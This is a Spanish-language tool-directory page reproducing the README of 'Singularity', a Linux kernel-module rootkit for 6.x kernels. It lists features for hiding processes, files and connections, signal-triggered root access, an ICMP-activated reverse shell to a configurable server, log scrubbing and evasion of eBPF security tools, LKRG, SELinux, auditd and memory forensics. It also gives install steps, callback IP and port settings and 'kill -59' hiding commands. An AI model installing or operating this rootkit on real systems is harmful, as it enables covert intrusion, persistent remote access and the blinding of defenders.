Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Singularity — Rootkit sigiloso del kernel de Linux (LKM) para kernels 6.x con ocultación avanzada de procesos/red, escalada de privilegios y evasión integral de herramientas de seguridad eBPF, LKRG, SELinux y análisis forense de memoria. | Kitploit
Herramientas/GitHubGitHub/matheuzsecurity/singularity
Escalada de Privilegios
GitHubmatheuzsecurity/singularity

Singularity

Rootkit sigiloso del kernel de Linux (LKM) para kernels 6.x con ocultación avanzada de procesos/red, escalada de privilegios y evasión integral de herramientas de seguridad eBPF, LKRG, SELinux y análisis forense de memoria.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
1.7k19040hace 13 díasRevisado por Kitploit

Singularity - Rootkit sigiloso para el kernel de Linux

Singularity Rootkit

"¿Le damos un poco de trabajo a los forenses?"

Singularity es un potente rootkit de tipo Módulo del Kernel de Linux (LKM) diseñado para kernels modernos 6.x. Proporciona capacidades de sigilo integrales mediante el hooking avanzado de llamadas al sistema a través de la infraestructura ftrace.

Artículo de investigación completo (versión desactualizada): Singularity: A Final Boss Linux Kernel Rootkit

Caso de estudio de evasión de EDR: Bypassing Elastic EDR with Singularity

Video POC: Singularity vs herramientas de seguridad eBPF: Singularity vs eBPF security tools

Rompiendo la seguridad de eBPF con hooks de Singularity: Breaking eBPF

Singularity Rootkit: Evadiendo la detección de carga de módulos de Elastic Defend Bypassing Elastic Defend

¿Qué es Singularity?

Singularity es un rootkit sofisticado que opera a nivel del kernel, proporcionando:

  • Ocultación de procesos: Hace que cualquier proceso sea completamente invisible para el sistema
  • Ocultación de archivos y directorios: Oculta archivos mediante coincidencia de patrones
  • Sigilo en la red: Oculta conexiones TCP/UDP, puertos y entradas de conntrack
  • Escalada de privilegios: Acceso root instantáneo basado en señales
  • Sanitización de logs: Filtra los logs del kernel y los journals del sistema en tiempo real
  • Auto-ocultación: Se elimina a sí mismo de las listas de módulos y del monitoreo del sistema
  • Acceso remoto: Reverse shell activada por ICMP con ocultación automática
  • Anti-detección: Evade herramientas de seguridad en tiempo de ejecución basadas en eBPF (Falco, Tracee), elude Linux Kernel Runtime Guard (LKRG) y previene intentos de bypass mediante io_uring
  • Evasión de auditoría: Descarta mensajes de auditoría para procesos ocultos a nivel de netlink con seguimiento de estadísticas y filtrado de inodos de sockets
  • Evasión de forense de memoria: Bloquea la adquisición mediante LiME y AVML; pone a cero las páginas de módulos y los task_structs ocultos en volcados físicos; filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
  • Filtrado de cgroups: Filtra PIDs ocultos de cgroup.procs
  • Evasión de syslog: Hookea do_syslog para filtrar el acceso al buffer circular del kernel mediante klogctl()
  • Evasión de debugfs: Filtra la salida de herramientas como debugfs que leen dispositivos de bloque en bruto
  • Filtrado de conntrack: Oculta conexiones de /proc/net/nf_conntrack y de las consultas netlink SOCK_DIAG/NETFILTER
  • Evasión de SELinux: Bypass automático del modo enforcing de SELinux al activarse por ICMP
  • Bypass de LKRG: Evade los mecanismos de detección de Linux Kernel Runtime Guard
  • Bypass de seguridad de eBPF: Oculta procesos de herramientas de seguridad en tiempo de ejecución basadas en eBPF (Falco, Tracee)

Características

  • Elevación de privilegios basada en señales (kill -59)
  • Ocultación completa de procesos de /proc y herramientas de monitoreo
  • Ocultación del sistema de archivos basada en patrones para archivos y directorios
  • Ocultación de conexiones de red de netstat, ss, conntrack y analizadores de paquetes
  • Filtrado avanzado de netlink (mensajes SOCK_DIAG, NETFILTER/conntrack)
  • Filtrado de logs del kernel en tiempo real para dmesg, journalctl y klogctl
  • Auto-ocultación del módulo de lsmod y /sys/module
  • Normalización automática de las flags de taint del kernel
  • Filtrado de datos BPF para prevenir la detección basada en eBPF
  • Protección de io_uring contra bypass de E/S asíncrona
  • Enmascaramiento de logs para mensajes del kernel y logs del sistema
  • Evasión de detectores de rootkits estándar (unhide, chkrootkit, rkhunter)
  • Seguimiento y ocultación automática de procesos hijos mediante hooks de tracepoint
  • Soporte multiarquitectura (x64 + ia32)
  • Filtrado a nivel de paquete de red con protección de sockets en bruto
  • Protección contra todas las variantes de E/S de archivos (read, write, splice, sendfile, tee, copy_file_range)
  • Filtrado de mensajes de auditoría a nivel de netlink con seguimiento de estadísticas para evadir la detección de auditd
  • Seguimiento de inodos de sockets para una ocultación integral de la red
  • Filtrado de PIDs en cgroups para prevenir la detección mediante /sys/fs/cgroup/*/cgroup.procs
  • Bloqueo de TaskStats netlink para prevenir la enumeración de PIDs
  • Resistencia a la adquisición de memoria física: kprobe en copy_mc_to_kernel intercepta las copias de páginas de LiME y redirige las páginas de módulos y los rangos de task_struct ocultos a buffers puestos a cero; AVML bloqueado mediante hook de lectura de /proc/kcore
  • Filtrado de lectura de /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
  • Hook de do_syslog para filtrar klogctl() y prevenir fugas del buffer circular del kernel
  • Filtrado de salida de dispositivos de bloque para evadir debugfs y herramientas similares de forense de disco
  • Filtrado de la salida de journalctl -k mediante hook de escritura
  • Capacidad de bypass del modo enforcing de SELinux para shells activadas por ICMP
  • Bypass de las comprobaciones de integridad de LKRG para procesos ocultos
  • Ocultación de eventos de Falco mediante ringbuffer de BPF e intercepción de eventos perf

Instalación

Requisitos previos

  • Kernel de Linux 6.x
  • Cabeceras del kernel para tu kernel en ejecución
  • GCC y Make
  • Acceso root

Instalación rápida

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..

Eso es todo. El módulo automáticamente:

  • Se oculta de lsmod, /proc/modules, /sys/module
  • Limpia los flags de taint del kernel
  • Filtra cadenas sensibles de dmesg, journalctl -k, klogctl
  • Comienza a proteger tus archivos y procesos ocultos

Notas importantes

El módulo se oculta automáticamente después de cargarse

No hay función de descarga - se requiere reiniciar para eliminarlo

Prueba primero en una VM - no se puede eliminar sin reiniciar

Configuración

Configura la IP y el puerto de tu servidor

Edita include/core.h:

#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Edita modules/icmp.c:

#define SRV_PORT "8081"  // Change this to your desired port

Edita modules/bpf_hook.c:

#define HIDDEN_PORT 8081  // Must match SRV_PORT

Editar modules/hiding_tcp.c:

#define PORT 8081  // Must match SRV_PORT

Importante: Todas las definiciones de puertos deben coincidir para el correcto ocultamiento de red y el funcionamiento del shell inverso ICMP.

Uso

Ocultar procesos

# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

El proceso será invisible para ps, top, htop, /proc y todas las herramientas de monitoreo. Todos los procesos hijos se rastrean y ocultan automáticamente.

Ocultar archivos y directorios

Los archivos que coincidan con tus patrones configurados se ocultan automáticamente:

mkdir singularity
echo "secret" > singularity/data.txt

# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)

# But you can still access it
cat singularity/data.txt
# secret
Descargar herramienta